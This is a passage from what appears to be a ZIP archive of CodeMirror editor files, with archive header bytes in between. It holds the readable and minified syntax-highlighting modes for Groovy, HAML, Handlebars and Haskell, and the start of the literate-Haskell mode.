        tokenize: [tokenBase],
        context: new Context((basecolumn || 0) - config.indentUnit, 0,
"top", false),
        indented: 0,
        startOfLine: true,
        lastToken: null
      };
    },

    token: function(stream, state) {
      var ctx = state.context;
      if (stream.sol()) {
        if (ctx.align == null) ctx.align = false;
        state.indented = stream.indentation();
        state.startOfLine = true;
        // Automatic semicolon insertion
        if (ctx.type == "statement" &&
!expectExpression(state.lastToken, true)) {
          popContext(state); ctx = state.context;
        }
      }
      if (stream.eatSpace()) return null;
      curPunc = null;
      var style = state.tokenize[state.tokenize.length-1](stream, state);
      if (style == "comment") return style;
      if (ctx.align == null) ctx.align = true;

      if ((curPunc == ";" || curPunc == ":") &&
ctx.type == "statement") popContext(state);
      // Handle indentation for {x -> \n ... }
      else if (curPunc == "->" && ctx.type ==
"statement" && ctx.prev.type == "}") {
        popContext(state);
        state.context.align = false;
      }
      else if (curPunc == "{") pushContext(state,
stream.column(), "}");
      else if (curPunc == "[") pushContext(state,
stream.column(), "]");
      else if (curPunc == "(") pushContext(state,
stream.column(), ")");
      else if (curPunc == "}") {
        while (ctx.type == "statement") ctx = popContext(state);
        if (ctx.type == "}") ctx = popContext(state);
        while (ctx.type == "statement") ctx = popContext(state);
      }
      else if (curPunc == ctx.type) popContext(state);
      else if (ctx.type == "}" || ctx.type == "top" ||
(ctx.type == "statement" && curPunc ==
"newstatement"))
        pushContext(state, stream.column(), "statement");
      state.startOfLine = false;
      state.lastToken = curPunc || style;
      return style;
    },

    indent: function(state, textAfter) {
      if (!state.tokenize[state.tokenize.length-1].isBase) return
CodeMirror.Pass;
      var firstChar = textAfter && textAfter.charAt(0), ctx =
state.context;
      if (ctx.type == "statement" &&
!expectExpression(state.lastToken, true)) ctx = ctx.prev;
      var closing = firstChar == ctx.type;
      if (ctx.type == "statement") return ctx.indented +
(firstChar == "{" ? 0 : config.indentUnit);
      else if (ctx.align) return ctx.column + (closing ? 0 : 1);
      else return ctx.indented + (closing ? 0 : config.indentUnit);
    },

    electricChars: "{}",
    closeBrackets: {triples: "'\""},
    fold: "brace",
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: "//"
  };
});

CodeMirror.defineMIME("text/x-groovy", "groovy");

});
PKE��[ͱ��//$codemirror/mode/groovy/groovy.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("groovy",(function(b){function
c(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function d(a,b){var
c=a.next();if('"'==c||"'"==c)return
e(c,a,b);if(/[\[\]{}\(\),;\:\.]/.test(c))return
l=c,null;if(/\d/.test(c))return
a.eatWhile(/[\w\.]/),a.eat(/eE/)&&(a.eat(/\+\-/),a.eatWhile(/\d/)),"number";if("/"==c){if(a.eat("*"))return
b.tokenize.push(g),g(a,b);if(a.eat("/"))return
a.skipToEnd(),"comment";if(h(b.lastToken,!1))return
e(c,a,b)}if("-"==c&&a.eat(">"))return
l="->",null;if(/[+\-*&%=<>!?|\/~]/.test(c))return
a.eatWhile(/[+\-*&%=<>|~]/),"operator";if(a.eatWhile(/[\w\$_]/),"@"==c)return
a.eatWhile(/[\w\$_\.]/),"meta";if("."==b.lastToken)return"property";if(a.eat(":"))return
l="proplabel","property";var d=a.current();return
p.propertyIsEnumerable(d)?"atom":m.propertyIsEnumerable(d)?(n.propertyIsEnumerable(d)?l="newstatement":o.propertyIsEnumerable(d)&&(l="standalone"),"keyword"):"variable"}function
e(a,b,c){function d(b,c){for(var
d,g=!1,h=!e;null!=(d=b.next());){if(d==a&&!g){if(!e)break;if(b.match(a+a)){h=!0;break}}if('"'==a&&"$"==d&&!g&&b.eat("{"))return
c.tokenize.push(f()),"string";g=!g&&"\\"==d}return
h&&c.tokenize.pop(),"string"}var
e=!1;if("/"!=a&&b.eat(a)){if(!b.eat(a))return"string";e=!0}return
c.tokenize.push(d),d(b,c)}function f(){function
a(a,c){if("}"==a.peek()){if(0==--b)return
c.tokenize.pop(),c.tokenize[c.tokenize.length-1](a,c)}else"{"==a.peek()&&b++;return
d(a,c)}var b=1;return a.isBase=!0,a}function g(a,b){for(var
c,d=!1;c=a.next();){if("/"==c&&d){b.tokenize.pop();break}d="*"==c}return"comment"}function
h(a,b){return!a||"operator"==a||"->"==a||/[\.\[\{\(,;:]/.test(a)||"newstatement"==a||"keyword"==a||"proplabel"==a||"standalone"==a&&!b}function
i(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
j(a,b,c){return a.context=new i(a.indented,b,c,null,a.context)}function
k(a){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}var
l,m=c("abstract as assert boolean break byte case catch char class
const continue def default do double else enum extends final finally float
for goto if implements import in instanceof int interface long native new
package private protected public return short static strictfp super switch
synchronized threadsafe throw throws trait transient try void volatile
while"),n=c("catch class def do else enum finally for if
interface switch trait try while"),o=c("return break
continue"),p=c("null true false this");return
d.isBase=!0,{startState:function(a){return{tokenize:[d],context:new
i((a||0)-b.indentUnit,0,"top",!1),indented:0,startOfLine:!0,lastToken:null}},token:function(a,b){var
c=b.context;if(a.sol()&&(null==c.align&&(c.align=!1),b.indented=a.indentation(),b.startOfLine=!0,"statement"!=c.type||h(b.lastToken,!0)||(k(b),c=b.context)),a.eatSpace())return
null;l=null;var
d=b.tokenize[b.tokenize.length-1](a,b);if("comment"==d)return
d;if(null==c.align&&(c.align=!0),";"!=l&&":"!=l||"statement"!=c.type)if("->"==l&&"statement"==c.type&&"}"==c.prev.type)k(b),b.context.align=!1;else
if("{"==l)j(b,a.column(),"}");else
if("["==l)j(b,a.column(),"]");else
if("("==l)j(b,a.column(),")");else
if("}"==l){for(;"statement"==c.type;)c=k(b);for("}"==c.type&&(c=k(b));"statement"==c.type;)c=k(b)}else
l==c.type?k(b):("}"==c.type||"top"==c.type||"statement"==c.type&&"newstatement"==l)&&j(b,a.column(),"statement");else
k(b);return
b.startOfLine=!1,b.lastToken=l||d,d},indent:function(c,d){if(!c.tokenize[c.tokenize.length-1].isBase)return
a.Pass;var
e=d&&d.charAt(0),f=c.context;"statement"!=f.type||h(c.lastToken,!0)||(f=f.prev);var
g=e==f.type;return"statement"==f.type?f.indented+("{"==e?0:b.indentUnit):f.align?f.column+(g?0:1):f.indented+(g?0:b.indentUnit)},electricChars:"{}",closeBrackets:{triples:"'\""},fold:"brace",blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//"}})),a.defineMIME("text/x-groovy","groovy")}));PKE��[�70��codemirror/mode/haml/haml.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../htmlmixed/htmlmixed"),
require("../ruby/ruby"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../htmlmixed/htmlmixed", "../ruby/ruby"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

  // full haml mode. This handled embedded ruby and html fragments too
  CodeMirror.defineMode("haml", function(config) {
    var htmlMode = CodeMirror.getMode(config, {name:
"htmlmixed"});
    var rubyMode = CodeMirror.getMode(config, "ruby");

    function rubyInQuote(endQuote) {
      return function(stream, state) {
        var ch = stream.peek();
        if (ch == endQuote && state.rubyState.tokenize.length == 1)
{
          // step out of ruby context as it seems to complete processing
all the braces
          stream.next();
          state.tokenize = html;
          return "closeAttributeTag";
        } else {
          return ruby(stream, state);
        }
      };
    }

    function ruby(stream, state) {
      if (stream.match("-#")) {
        stream.skipToEnd();
        return "comment";
      }
      return rubyMode.token(stream, state.rubyState);
    }

    function html(stream, state) {
      var ch = stream.peek();

      // handle haml declarations. All declarations that cant be handled
here
      // will be passed to html mode
      if (state.previousToken.style == "comment" ) {
        if (state.indented > state.previousToken.indented) {
          stream.skipToEnd();
          return "commentLine";
        }
      }

      if (state.startOfLine) {
        if (ch == "!" && stream.match("!!")) {
          stream.skipToEnd();
          return "tag";
        } else if (stream.match(/^%[\w:#\.]+=/)) {
          state.tokenize = ruby;
          return "hamlTag";
        } else if (stream.match(/^%[\w:]+/)) {
          return "hamlTag";
        } else if (ch == "/" ) {
          stream.skipToEnd();
          return "comment";
        }
      }

      if (state.startOfLine || state.previousToken.style ==
"hamlTag") {
        if ( ch == "#" || ch == ".") {
          stream.match(/[\w-#\.]*/);
          return "hamlAttribute";
        }
      }

      // donot handle --> as valid ruby, make it HTML close comment
instead
      if (state.startOfLine && !stream.match("-->",
false) && (ch == "=" || ch == "-" )) {
        state.tokenize = ruby;
        return state.tokenize(stream, state);
      }

      if (state.previousToken.style == "hamlTag" ||
          state.previousToken.style == "closeAttributeTag" ||
          state.previousToken.style == "hamlAttribute") {
        if (ch == "(") {
          state.tokenize = rubyInQuote(")");
          return state.tokenize(stream, state);
        } else if (ch == "{") {
          if (!stream.match(/^\{%.*/)) {
            state.tokenize = rubyInQuote("}");
            return state.tokenize(stream, state);
          }
        }
      }

      return htmlMode.token(stream, state.htmlState);
    }

    return {
      // default to html mode
      startState: function() {
        var htmlState = CodeMirror.startState(htmlMode);
        var rubyState = CodeMirror.startState(rubyMode);
        return {
          htmlState: htmlState,
          rubyState: rubyState,
          indented: 0,
          previousToken: { style: null, indented: 0},
          tokenize: html
        };
      },

      copyState: function(state) {
        return {
          htmlState : CodeMirror.copyState(htmlMode, state.htmlState),
          rubyState: CodeMirror.copyState(rubyMode, state.rubyState),
          indented: state.indented,
          previousToken: state.previousToken,
          tokenize: state.tokenize
        };
      },

      token: function(stream, state) {
        if (stream.sol()) {
          state.indented = stream.indentation();
          state.startOfLine = true;
        }
        if (stream.eatSpace()) return null;
        var style = state.tokenize(stream, state);
        state.startOfLine = false;
        // dont record comment line as we only want to measure comment line
with
        // the opening comment block
        if (style && style != "commentLine") {
          state.previousToken = { style: style, indented: state.indented };
        }
        // if current state is ruby and the previous token is not `,` reset
the
        // tokenize to html
        if (stream.eol() && state.tokenize == ruby) {
          stream.backUp(1);
          var ch = stream.peek();
          stream.next();
          if (ch && ch != ",") {
            state.tokenize = html;
          }
        }
        // reprocess some of the specific style tag when finish setting
previousToken
        if (style == "hamlTag") {
          style = "tag";
        } else if (style == "commentLine") {
          style = "comment";
        } else if (style == "hamlAttribute") {
          style = "attribute";
        } else if (style == "closeAttributeTag") {
          style = null;
        }
        return style;
      }
    };
  }, "htmlmixed", "ruby");

  CodeMirror.defineMIME("text/x-haml", "haml");
});
PKE��[M���
codemirror/mode/haml/haml.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../ruby/ruby")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed","../ruby/ruby"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("haml",(function(b){function
c(a){return function(b,c){return
b.peek()==a&&1==c.rubyState.tokenize.length?(b.next(),c.tokenize=e,"closeAttributeTag"):d(b,c)}}function
d(a,b){return
a.match("-#")?(a.skipToEnd(),"comment"):g.token(a,b.rubyState)}function
e(a,b){var
e=a.peek();if("comment"==b.previousToken.style&&b.indented>b.previousToken.indented)return
a.skipToEnd(),"commentLine";if(b.startOfLine){if("!"==e&&a.match("!!"))return
a.skipToEnd(),"tag";if(a.match(/^%[\w:#\.]+=/))return
b.tokenize=d,"hamlTag";if(a.match(/^%[\w:]+/))return"hamlTag";if("/"==e)return
a.skipToEnd(),"comment"}if((b.startOfLine||"hamlTag"==b.previousToken.style)&&("#"==e||"."==e))return
a.match(/[\w-#\.]*/),"hamlAttribute";if(b.startOfLine&&!a.match("--\x3e",!1)&&("="==e||"-"==e))return
b.tokenize=d,b.tokenize(a,b);if("hamlTag"==b.previousToken.style||"closeAttributeTag"==b.previousToken.style||"hamlAttribute"==b.previousToken.style){if("("==e)return
b.tokenize=c(")"),b.tokenize(a,b);if("{"==e&&!a.match(/^\{%.*/))return
b.tokenize=c("}"),b.tokenize(a,b)}return
f.token(a,b.htmlState)}var
f=a.getMode(b,{name:"htmlmixed"}),g=a.getMode(b,"ruby");return{startState:function(){return{htmlState:a.startState(f),rubyState:a.startState(g),indented:0,previousToken:{style:null,indented:0},tokenize:e}},copyState:function(b){return{htmlState:a.copyState(f,b.htmlState),rubyState:a.copyState(g,b.rubyState),indented:b.indented,previousToken:b.previousToken,tokenize:b.tokenize}},token:function(a,b){if(a.sol()&&(b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return
null;var
c=b.tokenize(a,b);if(b.startOfLine=!1,c&&"commentLine"!=c&&(b.previousToken={style:c,indented:b.indented}),a.eol()&&b.tokenize==d){a.backUp(1);var
f=a.peek();a.next(),f&&","!=f&&(b.tokenize=e)}return"hamlTag"==c?c="tag":"commentLine"==c?c="comment":"hamlAttribute"==c?c="attribute":"closeAttributeTag"==c&&(c=null),c}}}),"htmlmixed","ruby"),a.defineMIME("text/x-haml","haml")}));PKE��[���]f	f	(codemirror/mode/handlebars/handlebars.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../../addon/mode/simple"),
require("../../addon/mode/multiplex"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../../addon/mode/simple",
"../../addon/mode/multiplex"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineSimpleMode("handlebars-tags", {
    start: [
      { regex: /\{\{\{/, push: "handlebars_raw", token:
"tag" },
      { regex: /\{\{!--/, push: "dash_comment", token:
"comment" },
      { regex: /\{\{!/,   push: "comment", token:
"comment" },
      { regex: /\{\{/,    push: "handlebars", token:
"tag" }
    ],
    handlebars_raw: [
      { regex: /\}\}\}/, pop: true, token: "tag" },
    ],
    handlebars: [
      { regex: /\}\}/, pop: true, token: "tag" },

      // Double and single quotes
      { regex: /"(?:[^\\"]|\\.)*"?/, token:
"string" },
      { regex: /'(?:[^\\']|\\.)*'?/, token:
"string" },

      // Handlebars keywords
      { regex: />|[#\/]([A-Za-z_]\w*)/, token: "keyword" },
      { regex: /(?:else|this)\b/, token: "keyword" },

      // Numeral
      { regex: /\d+/i, token: "number" },

      // Atoms like = and .
      { regex: /=|~|@|true|false/, token: "atom" },

      // Paths
      { regex: /(?:\.\.\/)*(?:[A-Za-z_][\w\.]*)+/, token:
"variable-2" }
    ],
    dash_comment: [
      { regex: /--\}\}/, pop: true, token: "comment" },

      // Commented code
      { regex: /./, token: "comment"}
    ],
    comment: [
      { regex: /\}\}/, pop: true, token: "comment" },
      { regex: /./, token: "comment" }
    ],
    meta: {
      blockCommentStart: "{{--",
      blockCommentEnd: "--}}"
    }
  });

  CodeMirror.defineMode("handlebars", function(config,
parserConfig) {
    var handlebars = CodeMirror.getMode(config,
"handlebars-tags");
    if (!parserConfig || !parserConfig.base) return handlebars;
    return CodeMirror.multiplexingMode(
      CodeMirror.getMode(config, parserConfig.base),
      {open: "{{", close: /\}\}\}?/, mode: handlebars,
parseDelimiters: true}
    );
  });

  CodeMirror.defineMIME("text/x-handlebars-template",
"handlebars");
});
PKE��[[i�;��,codemirror/mode/handlebars/handlebars.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../addon/mode/simple"),require("../../addon/mode/multiplex")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../addon/mode/simple","../../addon/mode/multiplex"],a):a(CodeMirror)})((function(a){"use
strict";a.defineSimpleMode("handlebars-tags",{start:[{regex:/\{\{\{/,push:"handlebars_raw",token:"tag"},{regex:/\{\{!--/,push:"dash_comment",token:"comment"},{regex:/\{\{!/,push:"comment",token:"comment"},{regex:/\{\{/,push:"handlebars",token:"tag"}],handlebars_raw:[{regex:/\}\}\}/,pop:!0,token:"tag"}],handlebars:[{regex:/\}\}/,pop:!0,token:"tag"},{regex:/"(?:[^\\"]|\\.)*"?/,token:"string"},{regex:/'(?:[^\\']|\\.)*'?/,token:"string"},{regex:/>|[#\/]([A-Za-z_]\w*)/,token:"keyword"},{regex:/(?:else|this)\b/,token:"keyword"},{regex:/\d+/i,token:"number"},{regex:/=|~|@|true|false/,token:"atom"},{regex:/(?:\.\.\/)*(?:[A-Za-z_][\w\.]*)+/,token:"variable-2"}],dash_comment:[{regex:/--\}\}/,pop:!0,token:"comment"},{regex:/./,token:"comment"}],comment:[{regex:/\}\}/,pop:!0,token:"comment"},{regex:/./,token:"comment"}],meta:{blockCommentStart:"{{--",blockCommentEnd:"--}}"}}),a.defineMode("handlebars",(function(b,c){var
d=a.getMode(b,"handlebars-tags");return
c&&c.base?a.multiplexingMode(a.getMode(b,c.base),{open:"{{",close:/\}\}\}?/,mode:d,parseDelimiters:!0}):d})),a.defineMIME("text/x-handlebars-template","handlebars")}));PKE��[��p��"codemirror/mode/haskell/haskell.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("haskell", function(_config, modeConfig) {

  function switchState(source, setState, f) {
    setState(f);
    return f(source, setState);
  }

  // These should all be Unicode extended, as per the Haskell 2010 report
  var smallRE = /[a-z_]/;
  var largeRE = /[A-Z]/;
  var digitRE = /\d/;
  var hexitRE = /[0-9A-Fa-f]/;
  var octitRE = /[0-7]/;
  var idRE = /[a-z_A-Z0-9'\xa1-\uffff]/;
  var symbolRE = /[-!#$%&*+.\/<=>?@\\^|~:]/;
  var specialRE = /[(),;[\]`{}]/;
  var whiteCharRE = /[ \t\v\f]/; // newlines are handled in tokenizer

  function normal(source, setState) {
    if (source.eatWhile(whiteCharRE)) {
      return null;
    }

    var ch = source.next();
    if (specialRE.test(ch)) {
      if (ch == '{' && source.eat('-')) {
        var t = "comment";
        if (source.eat('#')) {
          t = "meta";
        }
        return switchState(source, setState, ncomment(t, 1));
      }
      return null;
    }

    if (ch == '\'') {
      if (source.eat('\\')) {
        source.next();  // should handle other escapes here
      }
      else {
        source.next();
      }
      if (source.eat('\'')) {
        return "string";
      }
      return "string error";
    }

    if (ch == '"') {
      return switchState(source, setState, stringLiteral);
    }

    if (largeRE.test(ch)) {
      source.eatWhile(idRE);
      if (source.eat('.')) {
        return "qualifier";
      }
      return "variable-2";
    }

    if (smallRE.test(ch)) {
      source.eatWhile(idRE);
      return "variable";
    }

    if (digitRE.test(ch)) {
      if (ch == '0') {
        if (source.eat(/[xX]/)) {
          source.eatWhile(hexitRE); // should require at least 1
          return "integer";
        }
        if (source.eat(/[oO]/)) {
          source.eatWhile(octitRE); // should require at least 1
          return "number";
        }
      }
      source.eatWhile(digitRE);
      var t = "number";
      if (source.match(/^\.\d+/)) {
        t = "number";
      }
      if (source.eat(/[eE]/)) {
        t = "number";
        source.eat(/[-+]/);
        source.eatWhile(digitRE); // should require at least 1
      }
      return t;
    }

    if (ch == "." && source.eat("."))
      return "keyword";

    if (symbolRE.test(ch)) {
      if (ch == '-' && source.eat(/-/)) {
        source.eatWhile(/-/);
        if (!source.eat(symbolRE)) {
          source.skipToEnd();
          return "comment";
        }
      }
      var t = "variable";
      if (ch == ':') {
        t = "variable-2";
      }
      source.eatWhile(symbolRE);
      return t;
    }

    return "error";
  }

  function ncomment(type, nest) {
    if (nest == 0) {
      return normal;
    }
    return function(source, setState) {
      var currNest = nest;
      while (!source.eol()) {
        var ch = source.next();
        if (ch == '{' && source.eat('-')) {
          ++currNest;
        }
        else if (ch == '-' && source.eat('}'))
{
          --currNest;
          if (currNest == 0) {
            setState(normal);
            return type;
          }
        }
      }
      setState(ncomment(type, currNest));
      return type;
    };
  }

  function stringLiteral(source, setState) {
    while (!source.eol()) {
      var ch = source.next();
      if (ch == '"') {
        setState(normal);
        return "string";
      }
      if (ch == '\\') {
        if (source.eol() || source.eat(whiteCharRE)) {
          setState(stringGap);
          return "string";
        }
        if (source.eat('&')) {
        }
        else {
          source.next(); // should handle other escapes here
        }
      }
    }
    setState(normal);
    return "string error";
  }

  function stringGap(source, setState) {
    if (source.eat('\\')) {
      return switchState(source, setState, stringLiteral);
    }
    source.next();
    setState(normal);
    return "error";
  }


  var wellKnownWords = (function() {
    var wkw = {};
    function setType(t) {
      return function () {
        for (var i = 0; i < arguments.length; i++)
          wkw[arguments[i]] = t;
      };
    }

    setType("keyword")(
      "case", "class", "data",
"default", "deriving", "do",
"else", "foreign",
      "if", "import", "in",
"infix", "infixl", "infixr",
"instance", "let",
      "module", "newtype", "of",
"then", "type", "where", "_");

    setType("keyword")(
      "\.\.", ":", "::", "=",
"\\", "<-", "->", "@",
"~", "=>");

    setType("builtin")(
      "!!", "$!", "$",
"&&", "+", "++", "-",
".", "/", "/=", "<",
"<*", "<=",
      "<$>", "<*>", "=<<",
"==", ">", ">=", ">>",
">>=", "^", "^^", "||",
"*",
      "*>", "**");

    setType("builtin")(
      "Applicative", "Bool", "Bounded",
"Char", "Double", "EQ", "Either",
"Enum",
      "Eq", "False", "FilePath",
"Float", "Floating", "Fractional",
"Functor",
      "GT", "IO", "IOError", "Int",
"Integer", "Integral", "Just",
"LT", "Left",
      "Maybe", "Monad", "Nothing",
"Num", "Ord", "Ordering",
"Rational", "Read",
      "ReadS", "Real", "RealFloat",
"RealFrac", "Right", "Show",
"ShowS",
      "String", "True");

    setType("builtin")(
      "abs", "acos", "acosh",
"all", "and", "any", "appendFile",
"asTypeOf",
      "asin", "asinh", "atan",
"atan2", "atanh", "break", "catch",
"ceiling",
      "compare", "concat", "concatMap",
"const", "cos", "cosh", "curry",
      "cycle", "decodeFloat", "div",
"divMod", "drop", "dropWhile",
"either",
      "elem", "encodeFloat", "enumFrom",
"enumFromThen", "enumFromThenTo",
      "enumFromTo", "error", "even",
"exp", "exponent", "fail",
"filter",
      "flip", "floatDigits", "floatRadix",
"floatRange", "floor", "fmap",
      "foldl", "foldl1", "foldr",
"foldr1", "fromEnum", "fromInteger",
      "fromIntegral", "fromRational", "fst",
"gcd", "getChar", "getContents",
      "getLine", "head", "id",
"init", "interact", "ioError",
"isDenormalized",
      "isIEEE", "isInfinite", "isNaN",
"isNegativeZero", "iterate", "last",
      "lcm", "length", "lex",
"lines", "log", "logBase",
"lookup", "map",
      "mapM", "mapM_", "max",
"maxBound", "maximum", "maybe",
"min", "minBound",
      "minimum", "mod", "negate",
"not", "notElem", "null", "odd",
"or",
      "otherwise", "pi", "pred",
"print", "product", "properFraction",
"pure",
      "putChar", "putStr", "putStrLn",
"quot", "quotRem", "read",
"readFile",
      "readIO", "readList", "readLn",
"readParen", "reads", "readsPrec",
      "realToFrac", "recip", "rem",
"repeat", "replicate", "return",
"reverse",
      "round", "scaleFloat", "scanl",
"scanl1", "scanr", "scanr1", "seq",
      "sequence", "sequence_", "show",
"showChar", "showList", "showParen",
      "showString", "shows", "showsPrec",
"significand", "signum", "sin",
      "sinh", "snd", "span",
"splitAt", "sqrt", "subtract",
"succ", "sum",
      "tail", "take", "takeWhile",
"tan", "tanh", "toEnum",
"toInteger",
      "toRational", "truncate", "uncurry",
"undefined", "unlines", "until",
      "unwords", "unzip", "unzip3",
"userError", "words", "writeFile",
"zip",
      "zip3", "zipWith", "zipWith3");

    var override = modeConfig.overrideKeywords;
    if (override) for (var word in override) if
(override.hasOwnProperty(word))
      wkw[word] = override[word];

    return wkw;
  })();



  return {
    startState: function ()  { return { f: normal }; },
    copyState:  function (s) { return { f: s.f }; },

    token: function(stream, state) {
      var t = state.f(stream, function(s) { state.f = s; });
      var w = stream.current();
      return wellKnownWords.hasOwnProperty(w) ? wellKnownWords[w] : t;
    },

    blockCommentStart: "{-",
    blockCommentEnd: "-}",
    lineComment: "--"
  };

});

CodeMirror.defineMIME("text/x-haskell", "haskell");

});
PKE��[��_b��&codemirror/mode/haskell/haskell.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("haskell",(function(a,b){function
c(a,b,c){return b(c),c(a,b)}function d(a,b){if(a.eatWhile(p))return
null;var
d=a.next();if(o.test(d)){if("{"==d&&a.eat("-")){var
g="comment";return
a.eat("#")&&(g="meta"),c(a,b,e(g,1))}return
null}if("'"==d)return
a.eat("\\"),a.next(),a.eat("'")?"string":"string
error";if('"'==d)return c(a,b,f);if(i.test(d))return
a.eatWhile(m),a.eat(".")?"qualifier":"variable-2";if(h.test(d))return
a.eatWhile(m),"variable";if(j.test(d)){if("0"==d){if(a.eat(/[xX]/))return
a.eatWhile(k),"integer";if(a.eat(/[oO]/))return
a.eatWhile(l),"number"}a.eatWhile(j);var
g="number";return
a.match(/^\.\d+/)&&(g="number"),a.eat(/[eE]/)&&(g="number",a.eat(/[-+]/),a.eatWhile(j)),g}if("."==d&&a.eat("."))return"keyword";if(n.test(d)){if("-"==d&&a.eat(/-/)&&(a.eatWhile(/-/),!a.eat(n)))return
a.skipToEnd(),"comment";var
g="variable";return":"==d&&(g="variable-2"),a.eatWhile(n),g}return"error"}function
e(a,b){return 0==b?d:function(c,f){for(var g=b;!c.eol();){var
h=c.next();if("{"==h&&c.eat("-"))++g;else
if("-"==h&&c.eat("}")&&0==--g)return
f(d),a}return f(e(a,g)),a}}function f(a,b){for(;!a.eol();){var
c=a.next();if('"'==c)return
b(d),"string";if("\\"==c){if(a.eol()||a.eat(p))return
b(g),"string";a.eat("&")||a.next()}}return
b(d),"string error"}function g(a,b){return
a.eat("\\")?c(a,b,f):(a.next(),b(d),"error")}var
h=/[a-z_]/,i=/[A-Z]/,j=/\d/,k=/[0-9A-Fa-f]/,l=/[0-7]/,m=/[a-z_A-Z0-9'\xa1-\uffff]/,n=/[-!#$%&*+.\/<=>?@\\^|~:]/,o=/[(),;[\]`{}]/,p=/[
\t\v\f]/,q=(function(){function a(a){return function(){for(var
b=0;b<arguments.length;b++)c[arguments[b]]=a}}var
c={};a("keyword")("case","class","data","default","deriving","do","else","foreign","if","import","in","infix","infixl","infixr","instance","let","module","newtype","of","then","type","where","_"),a("keyword")("..",":","::","=","\\","<-","->","@","~","=>"),a("builtin")("!!","$!","$","&&","+","++","-",".","/","/=","<","<*","<=","<$>","<*>","=<<","==",">",">=",">>",">>=","^","^^","||","*","*>","**"),a("builtin")("Applicative","Bool","Bounded","Char","Double","EQ","Either","Enum","Eq","False","FilePath","Float","Floating","Fractional","Functor","GT","IO","IOError","Int","Integer","Integral","Just","LT","Left","Maybe","Monad","Nothing","Num","Ord","Ordering","Rational","Read","ReadS","Real","RealFloat","RealFrac","Right","Show","ShowS","String","True"),a("builtin")("abs","acos","acosh","all","and","any","appendFile","asTypeOf","asin","asinh","atan","atan2","atanh","break","catch","ceiling","compare","concat","concatMap","const","cos","cosh","curry","cycle","decodeFloat","div","divMod","drop","dropWhile","either","elem","encodeFloat","enumFrom","enumFromThen","enumFromThenTo","enumFromTo","error","even","exp","exponent","fail","filter","flip","floatDigits","floatRadix","floatRange","floor","fmap","foldl","foldl1","foldr","foldr1","fromEnum","fromInteger","fromIntegral","fromRational","fst","gcd","getChar","getContents","getLine","head","id","init","interact","ioError","isDenormalized","isIEEE","isInfinite","isNaN","isNegativeZero","iterate","last","lcm","length","lex","lines","log","logBase","lookup","map","mapM","mapM_","max","maxBound","maximum","maybe","min","minBound","minimum","mod","negate","not","notElem","null","odd","or","otherwise","pi","pred","print","product","properFraction","pure","putChar","putStr","putStrLn","quot","quotRem","read","readFile","readIO","readList","readLn","readParen","reads","readsPrec","realToFrac","recip","rem","repeat","replicate","return","reverse","round","scaleFloat","scanl","scanl1","scanr","scanr1","seq","sequence","sequence_","show","showChar","showList","showParen","showString","shows","showsPrec","significand","signum","sin","sinh","snd","span","splitAt","sqrt","subtract","succ","sum","tail","take","takeWhile","tan","tanh","toEnum","toInteger","toRational","truncate","uncurry","undefined","unlines","until","unwords","unzip","unzip3","userError","words","writeFile","zip","zip3","zipWith","zipWith3");var
d=b.overrideKeywords;if(d)for(var e in
d)d.hasOwnProperty(e)&&(c[e]=d[e]);return
c})();return{startState:function(){return{f:d}},copyState:function(a){return{f:a.f}},token:function(a,b){var
c=b.f(a,(function(a){b.f=a})),d=a.current();return
q.hasOwnProperty(d)?q[d]:c},blockCommentStart:"{-",blockCommentEnd:"-}",lineComment:"--"}})),a.defineMIME("text/x-haskell","haskell")}));PKE��[���\oo4codemirror/mode/haskell-literate/haskell-literate.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function (mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../haskell/haskell"))
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../haskell/haskell"], mod)
  else // Plain browser env
    mod(CodeMirror)
})(function (CodeMirror) {
  "use strict"

  CodeMirror.defineMode("haskell-literate", function (config,
parserConfig) {
    var baseMode = CodeMirror.getMode(config, (parserConfig &&
parserConfig.base) || "haskell")

    return {
